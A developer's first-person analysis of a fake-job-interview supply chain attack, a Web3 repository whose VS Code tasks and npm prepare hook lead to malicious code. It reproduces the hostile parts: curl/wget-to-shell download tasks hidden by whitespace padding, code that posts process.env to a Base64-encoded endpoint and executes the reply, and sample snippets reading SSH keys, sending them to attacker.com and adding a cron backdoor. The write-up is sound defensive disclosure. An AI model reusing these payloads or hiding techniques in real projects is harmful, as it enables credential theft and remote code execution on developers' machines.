Anatomy of a developer-targeted supply chain attack

This happened to me. It started with a LinkedIn message from someone named Kevin (profile currently deleted), pitching a Technical Lead role for a decentralized staking platform — $6.3M budget, fully remote, flexible hours. The pitch was polished and the opportunity sounded legitimate. I scheduled an interview — but when the call started, a different person showed up. That was the first red flag. The conversation quickly moved to reviewing their codebase. My first instinct was to open the project in GitHub Codespaces — a remote environment that would have separated execution from my laptop. But the repository didn’t have the option available, and I moved on to cloning it locally.

After I cloned the repo, the attacker specifically asked me to open it in VS Code. I used JetBrains products and declined. That avoided the .vscode/tasks.json route described below. Such tasks can run on folder open, but VS Code’s trust and automatic-task controls apply; opening an untrusted folder alone does not normally authorize them.

When that didn’t work, the attacker pivoted. They asked to check my Node version — a seemingly innocent request that also served as a way to confirm I had Node.js installed and ready. Then they offered to run npm install for me, asking for screen sharing. Since I know npm install can run lifecycle hooks like postinstall, and I had no idea what their dependencies would execute, I refused. I asked for time to review the project before the next call — but they pushed to do it right then and there. I refused again. They simply dropped off and never followed up.

The requests moved from choosing an editor to installing dependencies while sharing my screen. In retrospect, each would have brought the project closer to executing code on my machine.

I asked Claude to help analyze the project. The code below shows attempts to send the Node process’s environment to a remote endpoint and execute code returned by it, with editor tasks and npm scripts providing execution paths.

The project presents itself as “DLabs Platform,” a Web3 gaming/staking/betting platform built with React, Node.js, Express, and MongoDB. The README is polished, the dependencies look reasonable, and the code structure appears professional. Beneath this surface, two execution paths lead into malicious code.

The Social Engineering Layer

The attack begins before any code runs. The attacker sends the repository to a target — typically framed as a job interview task, a freelance project to review, or a collaboration opportunity. The README reinforces legitimacy:

## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start

Standard instructions. Nothing alarming. The project has a professional structure with src/, server/, public/ directories, real dependencies like react, express, mongoose, ethers, and even a .gitignore. It looks like dozens of other Web3 starter projects on GitHub.

Attack Vector 1: VSCode Task Auto-Execution

Let’s look at .vscode/tasks.json.

The task requests automatic execution when the folder opens. Whether it runs depends on workspace trust, automatic-task approval, and editor settings.

Task 1: Silent npm install

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": {
    "runOn": "folderOpen"
  },
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  }
}

If automatic execution is permitted, this task runs npm install --silent --no-progress. Its presentation settings make the command less visible:

  • "reveal": "silent" — reveals the terminal only under the conditions documented for silent mode, rather than always.
  • "echo": false — hides the command echo.
  • "focus": false — does not focus the terminal.
  • "showReuseMessage": false — hides the terminal reuse message.
  • "clear": true — clears the terminal before the task runs.

These npm flags reduce console output. If the task is allowed and lifecycle scripts are enabled, npm install invokes prepare, which starts the server and reaches the malicious code described below.

Automatic-task controls

VS Code documents approval for automatic tasks. Keep unfamiliar repositories in Restricted Mode, review tasks before trusting a workspace, and use "task.allowAutomaticTasks": "off" to disable this trigger. Workspace Trust does not make code safe once you choose to execute it.

Task 2: Direct Shell Payload Download

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L '...' | bash"
  },
  "linux": {
    "command": "wget -qO- '...' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L ... | cmd"
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

This task downloads and executes a shell script directly from the attacker’s second Vercel deployment (vscodesettings-tasks-j227.vercel.app). It’s platform-aware:

  • macOS: curl -L | bash
  • Linux: wget -qO- | sh
  • Windows: curl --ssl-no-revoke -L | cmd (the --ssl-no-revoke flag bypasses certificate revocation checks)

The Horizontal Scroll Trick

In the raw tasks.json file, the malicious commands are padded with approximately 200 spaces before the "command" key:

"linux": {
                                                                                          "command": "wget -qO- '...' | sh"
}

In a text editor or code review tool, the "command" key is pushed far off the right edge of the visible area. A developer scrolling through the file would see:

"linux": {

}

The command appears to be an empty object. You’d have to scroll horizontally — or have word wrap enabled — to see the actual payload. This is a known obfuscation technique specifically targeting code review in editors without word wrap.

Attack Vector 2: The npm Lifecycle Hook

Let’s look at package.json:

"scripts": {
    "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
    "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
    "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
    "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
    "prepare": "node server/server.js"
}

The project’s prepare hook starts node server/server.js as part of installation. A developer who expects installation to only download packages could miss this execution step.

The listed start, build, test, and eject scripts also include node server/server.js |. A shell pipeline starts both commands concurrently and connects the first command’s standard output to the second command’s standard input. It does not wait for the server to finish before starting the other command.

Why prepare specifically?

For this local project, prepare runs during npm install unless lifecycle scripts are disabled. Dependencies are available by that stage. Legitimate projects also use this hook, so its presence alone is not evidence of malware. npm audit is not a general-purpose script analyzer.

Step 1: Environment Variable Exfiltration

Suppose the server started — here’s what happens next. Let’s look at server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

Two innocent-looking utility functions. setApiKey decodes a Base64 string. verify makes a POST request. But look at the second argument to axios.post:

{ ...process.env }

Spreading process.env sends the environment visible to this Node process, including inherited variables and any values loaded from .env. It does not enumerate every variable or credential stored on the machine. Credentials present in that process’s environment could include:

  • AWS credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  • API keys (OpenAI, Stripe, cloud providers)
  • Database connection strings
  • Session secrets and JWT keys
  • SSH agent socket paths
  • PATH, HOME, and other system variables

The function names are deliberately mundane. verify sounds like it’s validating an API key. setApiKey sounds like a setter. In a code review, these blend into the surrounding authentication logic perfectly.

The header "x-app-request": "ip-check" is another misdirection — it implies the request is a routine IP validation, not a data exfiltration operation.

Step 2: The Base64-Obfuscated Endpoint

Where do the exfiltrated credentials go? Let’s look at .env:

AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=

Base64 decoding reveals:

https://ip-checking-notification-j1.vercel.app/api

The decoded address uses a Vercel subdomain. Hosting on a familiar platform can make an address look routine, but does not establish that it is trustworthy or exempt from security checks.

The Base64 encoding isn’t strong obfuscation — any developer who runs atob() on it can decode it. But it serves its purpose: a quick grep for URLs in the .env file won’t reveal a suspicious domain. It looks like an API key, not a URL.

The .env file itself is a prop

Notice that .env is not in .gitignore. The .gitignore carefully excludes:

.env.development.local
.env.test.local
.env.production.local

But not .env itself. This is intentional. The .env file is committed to the repository with realistic-looking demo keys:

ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890

The values shown here are placeholders. Realistic-looking keys can make a sample project seem complete, but appearance alone cannot establish whether a credential in an untrusted repository is live.

Step 3: Remote Code Execution via Dynamic Function Construction

Now let’s see how it all ties together. Let’s look at server/routes/api/auth.js:

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

This is the most dangerous component. Let’s trace the execution:

  1. setApiKey(process.env.AUTH_API) — decodes the Base64 endpoint URL
  2. verify(decodedUrl) — POSTs all environment variables to the attacker’s server
  3. The attacker’s server responds with JavaScript code in response.data
  4. new Function("require", response.data) — constructs a new function with the response body as its source code
  5. executor(require) — executes that function, passing Node.js’s require as an argument

Passing require gives the returned code access to Node modules such as fs and child_process. Its access is governed by the process’s user privileges and any operating-system or container restrictions, rather than being inherently unrestricted.

What the attacker’s server can send back

The following snippets illustrate possible actions, not payloads observed from the server. Their success would depend on the permissions and files available to the process.

// Read SSH keys
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');

// Execute shell commands
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));

// Install a persistent backdoor
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');

new Function() executes dynamically supplied source in global scope, unlike direct eval() in local scope. Here, explicitly passing require supplies the module loader the remote code needs.

The error message is social engineering too

console.log("Aborting mempool scan due to failed API verification.");

The message sounds like an ordinary Web3 failure, but the shown caller has another flaw: validateApiKey() is async, so verified is a Promise and if (!verified) is false. A rejected request reaches .catch(console.error); it does not trigger this abort message.

The Full Attack Flow

Putting it all together, here is the complete attack flow:

Developer receives project link
         │
         ├── Allows VS Code tasks ──┐
         │                     ├── Task 1: silent npm install ── prepare hook ── server starts
         │                     │                                                      │
         │                     │                              ┌───────────────────────┘
         │                     │                              │
         │                     │                    POST process.env to attacker
         │                     │                              │
         │                     │                    Receive JS payload
         │                     │                              │
         │                     │                    new Function()(require) ── RCE
         │                     │
         │                     └── Task 2: curl/wget | bash ── direct shell payload
         │
         └── Runs npm install ── prepare hook ── (same server chain as above)

There are two execution routes: approved editor tasks and npm scripts. The npm route sends the environment and then executes a response from the same endpoint; those operations are dependent. The separate shell-download task uses another endpoint.

If the collection endpoint is unreachable, that request cannot deliver the environment or retrieve its response payload. Another reachable endpoint may still serve the separate shell task.

Indicators of Compromise

If a task, lifecycle hook, or script executed, investigate the environment where it ran. Opening a folder without executing its tasks is not equivalent to running the payload. Check for:

  1. Outbound connections to *.vercel.app domains in your network logs
  2. Unknown cron jobs: crontab -l on Linux/macOS
  3. Unusual processes: check for persistent background processes
  4. Modified shell configs: .bashrc, .zshrc, .profile modifications
  5. New SSH keys or authorized_keys entries
  6. Browser extension installations or modifications

Rotate all credentials that were present in your environment variables at the time of execution.

A Good Instinct: GitHub Codespaces

Codespaces would have separated execution from my laptop’s filesystem, but it would not automatically have made the project safe. A codespace can contain GitHub tokens, forwarded credentials, repository secrets, and network access. Isolation must include those resources, not just the location of the VM.

The Codespaces option was not available to me. That alone does not show why: availability can depend on account access, policy, or repository configuration. I could still have used another isolated review environment instead of running the project locally.

What if this ran on Deno?

Deno’s permission model can restrict environment access, networking, filesystem operations, and subprocess creation when code actually runs under Deno with limited permissions. Depending on invocation, denied operations may prompt or fail.

That is a conditional defense, not something this project gains merely because Deno is installed. Its npm scripts explicitly invoke node, and broad permissions such as --allow-all remove Deno’s protection. Permission to launch unrestricted subprocesses also weakens that boundary.

The VS Code shell task is Attack Vector 1. It downloads and executes code outside Deno, so Deno’s permissions would not govern it. The same is true of npm hooks that invoke another runtime.

Lessons and Defenses

  1. Review unfamiliar projects in a disposable environment without personal credentials, host mounts, or forwarded agents.
  2. Inspect package.json, dependency changes, and editor tasks before executing anything.
  3. Keep untrusted workspaces restricted and disable automatic tasks with "task.allowAutomaticTasks": "off".
  4. npm install --ignore-scripts skips lifecycle hooks; it does not make installed code safe to run later.
  5. Enable word wrap to expose commands hidden by horizontal padding.
  6. Review dynamic execution (new Function(), eval()) and subprocess calls in context.
  7. Decode suspicious configuration values locally as data; do not visit or execute their contents.